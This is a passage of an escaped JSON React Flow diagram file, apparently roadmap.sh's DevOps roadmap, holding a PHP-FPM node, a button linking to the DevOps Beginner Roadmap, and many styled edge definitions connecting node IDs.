\"PHP-FPM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"NieqZd1juaNYoZOrB7e31\"\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 453.87747700920465,\n        \"y\": 3274.1243840820907\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5GM8QPK9cN34oEYoGshHn\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 742.4180934525762,\n        \"y\": 3316.5269640131846\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Visit DevOps Beginner Roadmap\",\n        \"href\": \"https://roadmap.sh/devops?r=devops-beginner\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 300,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 742.4180934525762,\n        \"y\": 3316.5269640131846\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 300,\n        \"height\": 49\n      },\n      \"resizing\": true,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 300,\n        \"height\": 49\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KMA7NkxFbPoUDtFnGBFnj\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-KMA7NkxFbPoUDtFnGBFnjx2-0vLaVNJaJSHZ_bHli6Qzsw1\",\n      \"selected\": true,\n      \"type\": \"simplebezier\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-iogwMmOvub2ZF4zgg6WyFx2-_hYN0gEi9BL24nptEtXWUw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"_LhLDVZjLt1DoAP1NuUES\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-_hYN0gEi9BL24nptEtXWUy2-_LhLDVZjLt1DoAP1NuUESz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"b2CuLrhsUNnb4OxI6RRAS\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-_hYN0gEi9BL24nptEtXWUz2-b2CuLrhsUNnb4OxI6RRASy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"6sHRQTcoKL3TlgNJlwyx8\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-_hYN0gEi9BL24nptEtXWUz2-6sHRQTcoKL3TlgNJlwyx8y1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"qA7UjGPRBRZaBdgHTS5o3\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-_hYN0gEi9BL24nptEtXWUx2-qA7UjGPRBRZaBdgHTS5o3w1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"qA7UjGPRBRZaBdgHTS5o3\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"OdUXxPZaAIgiqd46L26dY\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-qA7UjGPRBRZaBdgHTS5o3y2-OdUXxPZaAIgiqd46L26dYz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"qA7UjGPRBRZaBdgHTS5o3\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"3_TuxOSzBuktBlBF05r_z\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-qA7UjGPRBRZaBdgHTS5o3z2-3_TuxOSzBuktBlBF05r_zy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"BxU_vv4FsalsT1Hq0qRRK\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"usBwcXnWuUlaN71q1nbED\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-BxU_vv4FsalsT1Hq0qRRKy2-usBwcXnWuUlaN71q1nbEDz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"oKbeLp4YB8rI1Q3vi0EnG\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"JCCeVC0hOrvIeyfg1ScKA\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-oKbeLp4YB8rI1Q3vi0EnGx2-JCCeVC0hOrvIeyfg1ScKAy2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"usBwcXnWuUlaN71q1nbED\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"hzBUHSuFwLYNooF_vEmrs\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-usBwcXnWuUlaN71q1nbEDy2-hzBUHSuFwLYNooF_vEmrsz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"usBwcXnWuUlaN71q1nbED\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"D0BtyxyjIBcpfn5wP23WC\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-usBwcXnWuUlaN71q1nbEDy2-D0BtyxyjIBcpfn5wP23WCz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"usBwcXnWuUlaN71q1nbED\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"srIHPZabaCGdB5VvUXaMa\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-usBwcXnWuUlaN71q1nbEDy2-srIHPZabaCGdB5VvUXaMaz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"usBwcXnWuUlaN71q1nbED\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"pzReF4C0mcCWAnpfIJbwl\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-usBwcXnWuUlaN71q1nbEDy2-IhKjvT6CjRz4dsSU7SNQoz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"usBwcXnWuUlaN71q1nbED\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"bN07oOEWH_UrXKfpp8MB0\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-usBwcXnWuUlaN71q1nbEDy2-bN07oOEWH_UrXKfpp8MB0z1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"usBwcXnWuUlaN71q1nbED\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"IhKjvT6CjRz4dsSU7SNQo\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-usBwcXnWuUlaN71q1nbEDx2-IhKjvT6CjRz4dsSU7SNQow1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"IhKjvT6CjRz4dsSU7SNQo\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"j2S8dP3HlAOOoZdpj-7Dx\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-IhKjvT6CjRz4dsSU7SNQox2-j2S8dP3HlAOOoZdpj-7Dxw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"IhKjvT6CjRz4dsSU7SNQo\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"38YksjvhXCbgnHqkl57Cz\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-IhKjvT6CjRz4dsSU7SNQoz2-WiGv7vi7Mtw-YqPMcnnywy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"38YksjvhXCbgnHqkl57Cz\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"1NXSk8VZDr89jQTTkOL7x\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-WiGv7vi7Mtw-YqPMcnnyww2-1NXSk8VZDr89jQTTkOL7xx1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"qwt8xN4vuTrY-D0czYITI\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"WiGv7vi7Mtw-YqPMcnnyw\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-qwt8xN4vuTrY-D0czYITIy2-WiGv7vi7Mtw-YqPMcnnywz2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"38YksjvhXCbgnHqkl57Cz\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"qwt8xN4vuTrY-D0czYITI\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-38YksjvhXCbgnHqkl57Czx2-qwt8xN4vuTrY-D0czYITIw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"WiGv7vi7Mtw-YqPMcnnyw\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"1nODJchgSuWbcvSlxnWeE\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-WiGv7vi7Mtw-YqPMcnnywy2-1nODJchgSuWbcvSlxnWeEz2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"WiGv7vi7Mtw-YqPMcnnyw\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"mpQKoBzsOa-5iWo08sOhQ\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-WiGv7vi7Mtw-YqPMcnnywy2-mpQKoBzsOa-5iWo08sOhQz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"WiGv7vi7Mtw-YqPMcnnyw\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"RgVP99rJJ8FVecIA45w20\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-WiGv7vi7Mtw-YqPMcnnywy2-RgVP99rJJ8FVecIA45w20z1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"WiGv7vi7Mtw-YqPMcnnyw\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"RkNjYva8o_jXp9suz5YdG\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-WiGv7vi7Mtw-YqPMcnnywy2-RkNjYva8o_jXp9suz5YdGz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"WiGv7vi7Mtw-YqPMcnnyw\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"Nr5m6wQLp7VyG3AucrSc8\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-WiGv7vi7Mtw-YqPMcnnywx2-Nr5m6wQLp7VyG3AucrSc8w1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fBym6pkzRkNh0LWyCg3Bv\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"hitsVjqeIuzCP0VUZRXkS\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-fBym6pkzRkNh0LWyCg3Bvx2-hitsVjqeIuzCP0VUZRXkSw1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"WiGv7vi7Mtw-YqPMcnnyw\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"fBym6pkzRkNh0LWyCg3Bv\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"id\": \"reactflow__edge-WiGv7vi7Mtw-YqPMcnnywz2-fBym6pkzRkNh0LWyCg3Bvy1\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_V2EY4z-CTE4g-HtjU_ov\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"dv4WVzUCQ6d95AfBqdqQV\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-_V2EY4z-CTE4g-HtjU_ovw2-dv4WVzUCQ6d95AfBqdqQVx1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_V2EY4z-CTE4g-HtjU_ov\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sYI7f1PYP7G30_Uj2mZRv\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-_V2EY4z-CTE4g-HtjU_ovx2-sYI7f1PYP7G30_Uj2mZRvw1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HNo8QO4aPbvgePiA4l6tq\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"CGehmZjcgTWC7fQAvxmNW\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-HNo8QO4aPbvgePiA4l6tqz2-CGehmZjcgTWC7fQAvxmNWy1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"CGehmZjcgTWC7fQAvxmNW\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"so03-fK7E2WvTm6XsPq4i\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-CGehmZjcgTWC7fQAvxmNWz2-so03-fK7E2WvTm6XsPq4iy2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"CGehmZjcgTWC7fQAvxmNW\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"qobzzgzArNHLLn9Oiqc6G\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-CGehmZjcgTWC7fQAvxmNWz2-qobzzgzArNHLLn9Oiqc6Gy1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"77uKH6zwzzEycoZkGotpK\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"1mXQQdSdlKkWfjlT47nE0\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-77uKH6zwzzEycoZkGotpKy2-1mXQQdSdlKkWfjlT47nE0w2\",\n      \"selected\": true,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"uH9DTrDCBmBzXlup8KG3G\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"yTviiPFR5b_dr3WyxdxxQ\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-uH9DTrDCBmBzXlup8KG3Gz2-yTviiPFR5b_dr3WyxdxxQy2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"yTviiPFR5b_dr3WyxdxxQ\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"PIuplWreo7PFG3Mdn2t6W\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-yTviiPFR5b_dr3WyxdxxQz2-PIuplWreo7PFG3Mdn2t6Wy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"yTviiPFR5b_dr3WyxdxxQ\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"oNUt1oT8pYBVvH0S2P6cb\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-yTviiPFR5b_dr3WyxdxxQz2-oNUt1oT8pYBVvH0S2P6cby1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"yTviiPFR5b_dr3WyxdxxQ\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"MRAPXshy9RoYdReY6grf_\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-yTviiPFR5b_dr3WyxdxxQz2-MRAPXshy9RoYdReY6grf_y1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"yTviiPFR5b_dr3WyxdxxQ\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"RD2RaBmA2XWkEa13PTCTX\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-yTviiPFR5b_dr3WyxdxxQz2-RD2RaBmA2XWkEa13PTCTXy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"yTviiPFR5b_dr3WyxdxxQ\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"qlkpwXfOc1p7j37hrzffI\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-yTviiPFR5b_dr3WyxdxxQz2-qlkpwXfOc1p7j37hrzffIy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"yTviiPFR5b_dr3WyxdxxQ\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"c5q2e_jyMt8Pir5Od3lRi\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-yTviiPFR5b_dr3WyxdxxQz2-c5q2e_jyMt8Pir5Od3lRiy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"yTviiPFR5b_dr3WyxdxxQ\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"BOWGF4ovKzGC_3MFQET9p\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-yTviiPFR5b_dr3WyxdxxQx2-BOWGF4ovKzGC_3MFQET9pw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"BOWGF4ovKzGC_3MFQET9p\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"gtq5KrghF28f5G8nuDcYQ\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        